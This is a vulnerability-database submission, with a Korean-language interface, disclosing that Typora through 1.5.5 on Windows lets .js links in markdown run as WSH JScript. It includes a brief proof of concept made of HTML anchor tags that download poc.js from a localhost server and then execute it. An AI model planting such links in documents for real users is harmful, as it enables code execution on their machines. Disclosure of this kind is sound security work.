| 제목 | Typora on Windows fails to properly filter WSH JScript, which may result in code execution |
|---|
| 설명 | Although typora filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version
0.9.78-1.5.5(latest)
PoC(markdown file)
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript
For more details, please click the announcement. |
|---|
| 원천 | ⚠️ https://github.com/typora/typora-issues/issues/5623 |
|---|
| 사용자 | Tom23 (UID 41413) |
|---|
| 제출 | 2023. 02. 20. PM 01:11 (4 연령 ago) |
|---|
| 모더레이션 | 2023. 02. 24. AM 08:53 (4 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 221736 [Typora 까지 1.5.5 켜짐 Windows WSH JScript 권한 상승] |
|---|
| 포인트들 | 20 |
|---|